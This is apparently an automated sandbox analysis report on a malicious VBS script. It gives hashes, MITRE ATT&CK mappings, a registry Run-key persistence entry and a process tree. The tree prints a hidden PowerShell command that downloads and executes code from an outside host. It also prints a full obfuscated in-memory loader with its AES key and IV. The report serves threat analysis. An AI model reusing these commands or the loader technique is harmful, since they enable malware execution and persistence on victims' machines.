b89759e93738b1b607e48a29f62bfda31e555b0aad30614c261ddf4ba10bdcdf

General

Target

b89759e93738b1b607e48a29f62bfda31e555b0aad30614c261ddf4ba10bdcdf.vbs
Size

67KB
MD5

9ffb1e62265a9b36d8c29afafc14f6fe
SHA1

7e0abfdff1019bf28267f069b6fdf6658eb742b5
SHA256

b89759e93738b1b607e48a29f62bfda31e555b0aad30614c261ddf4ba10bdcdf
SHA512

7458a2fb582a0a314ff9d443515ab4379e9a71e26ccf0788e971898b32be58b64f82771dfc901eafe9e28db0755146432f02be5892fb64188c129e72f3d402f0
SSDEEP

1536:VpR0fCWy9wwuo9MIA9Y31BYfHAoH7XpUoQ0tThvi:j8vwwI9Mz9Y3GZ19Q6hvi

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftService = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\system.bat\""	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2788	powershell.exe
1724	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 2788	1700	WScript.exe	30
PID 1700 wrote to memory of 2788	1700	WScript.exe	30
PID 1700 wrote to memory of 2788	1700	WScript.exe	30
PID 1700 wrote to memory of 1492	1700	WScript.exe	33
PID 1700 wrote to memory of 1492	1700	WScript.exe	33
PID 1700 wrote to memory of 1492	1700	WScript.exe	33
PID 1492 wrote to memory of 2360	1492	cmd.exe	35
PID 1492 wrote to memory of 2360	1492	cmd.exe	35
PID 1492 wrote to memory of 2360	1492	cmd.exe	35
PID 2360 wrote to memory of 2240	2360	cmd.exe	37
PID 2360 wrote to memory of 2240	2360	cmd.exe	37
PID 2360 wrote to memory of 2240	2360	cmd.exe	37
PID 2360 wrote to memory of 1724	2360	cmd.exe	38
PID 2360 wrote to memory of 1724	2360	cmd.exe	38
PID 2360 wrote to memory of 1724	2360	cmd.exe	38

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b89759e93738b1b607e48a29f62bfda31e555b0aad30614c261ddf4ba10bdcdf.vbs"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\system.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\system.bat';$tSzt='CoyggSpyyggSTyggSoyggS'.Replace('yggS', ''),'TreKpmaneKpmsfeKpmormeKpmFeKpmineKpmaeKpmlBeKpmloceKpmkeKpm'.Replace('eKpm', ''),'ErHgtlemrHgtentrHgtAtrHgt'.Replace('rHgt', ''),'LoaWwjgdWwjg'.Replace('Wwjg', ''),'DecGFmyompGFmyrGFmyessGFmy'.Replace('GFmy', ''),'CrFbwFeFbwFateFbwFDecFbwFrFbwFyptFbwForFbwF'.Replace('FbwF', ''),'InhKbUvhKbUokehKbU'.Replace('hKbU', ''),'MaBxbRinBxbRMBxbRodBxbRulBxbReBxbR'.Replace('BxbR', ''),'SpYdNplpYdNipYdNtpYdN'.Replace('pYdN', ''),'EnthHmDryPhHmDoihHmDnthHmD'.Replace('hHmD', ''),'ReNXtTadLNXtTinNXtTesNXtT'.Replace('NXtT', ''),'GePRsKtCPRsKurPRsKrPRsKePRsKntPRsKPrPRsKoPRsKcPRsKesPRsKsPRsK'.Replace('PRsK', ''),'ChpQqmangpQqmeEpQqmxtepQqmnpQqmsipQqmonpQqm'.Replace('pQqm', ''),'FrrEElorEElmBarEElserEEl64rEElStrEElrrEElinrEElgrEEl'.Replace('rEEl', '');powershell -w hidden;function aRtvG($VLEjt){$KNVsD=[System.Security.Cryptography.Aes]::Create();$KNVsD.Mode=[System.Security.Cryptography.CipherMode]::CBC;$KNVsD.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$KNVsD.Key=[System.Convert]::($tSzt[13])('ZsQNWZMNttfFdanp5YMfjA81pjXlEiaRBDoUMbmKu7A=');$KNVsD.IV=[System.Convert]::($tSzt[13])('Zwl9jKpodheYgolhwF+ZoA==');$NvSea=$KNVsD.($tSzt[5])();$ocMex=$NvSea.($tSzt[1])($VLEjt,0,$VLEjt.Length);$NvSea.Dispose();$KNVsD.Dispose();$ocMex;}function DyGwn($VLEjt){$TnJXr=New-Object System.IO.MemoryStream(,$VLEjt);$ALCZl=New-Object System.IO.MemoryStream;$vftmX=New-Object System.IO.Compression.GZipStream($TnJXr,[IO.Compression.CompressionMode]::($tSzt[4]));$vftmX.($tSzt[0])($ALCZl);$vftmX.Dispose();$TnJXr.Dispose();$ALCZl.Dispose();$ALCZl.ToArray();}$bjAKz=[System.IO.File]::($tSzt[10])([Console]::Title);$AliFC=DyGwn (aRtvG ([Convert]::($tSzt[13])([System.Linq.Enumerable]::($tSzt[2])($bjAKz, 5).Substring(2))));$vtSyn=DyGwn (aRtvG ([Convert]::($tSzt[13])([System.Linq.Enumerable]::($tSzt[2])($bjAKz, 6).Substring(2))));[System.Reflection.Assembly]::($tSzt[3])([byte[]]$vtSyn).($tSzt[9]).($tSzt[6])($null,$null);[System.Reflection.Assembly]::($tSzt[3])([byte[]]$AliFC).($tSzt[9]).($tSzt[6])($null,$null); "
      4⤵
      PID:2240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
66KB

MD5
5f705dae5b64c2091db9b36fed377e74

SHA1
10209ca44ec5fc7289371296f0113e5001a7a3d2

SHA256
de81ae7b4398a1ec4091ad8e9ed9cf4fdc1ed88b7b1af8a5d07aacba1b0f4af7

SHA512
23b077a0fd01fa85a9f81b2f14db30a99a44bc3a1c45131f235fdf0c87542d33b4ea042db620fa50c924e214ce1e428eb05d0f651f7119979e07767df3b17878

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
63e4c2562fc4e01e628a5578b249afdc

SHA1
58ae9aeb4cdfc8ffec74291d61bc2b0aa655d607

SHA256
08d8a59aa874bc80712526f68b0340ec3ab130555ea3b76397d5660a9459a354

SHA512
e223c6ae4184d740e6c64409215ec4ca34f883cc34c3cd9aeb3758e3d8e006c666f1dbd0c1994a96d5148f3349c99746da7f719eb5dd52ea7d2ff9106b1e6c75

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TESEM5ITJJHV5OWVPZYY.temp

Filesize
7KB

MD5
015c54c8503c5b635dbccc01a65d7716

SHA1
a4c7f6db2504280b1eee037595f13c7bbba18d75

SHA256
1f54c5f6c595991680499fc6cdb5d55863f497b3f6a073ea0c3aef962123548b

SHA512
15718543ddf05775366422d0ec74e20c0c7477b796ff0257073b4804e1b20d1ca9fc84004dca3e695cf622bab9c3eb5d7f50f1ae74201f2ab07ab454574828e1

Download Submit
memory/1724-27-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/1724-26-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2788-7-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-8-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2788-4-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

Filesize
4KB

Download
memory/2788-6-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2788-5-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads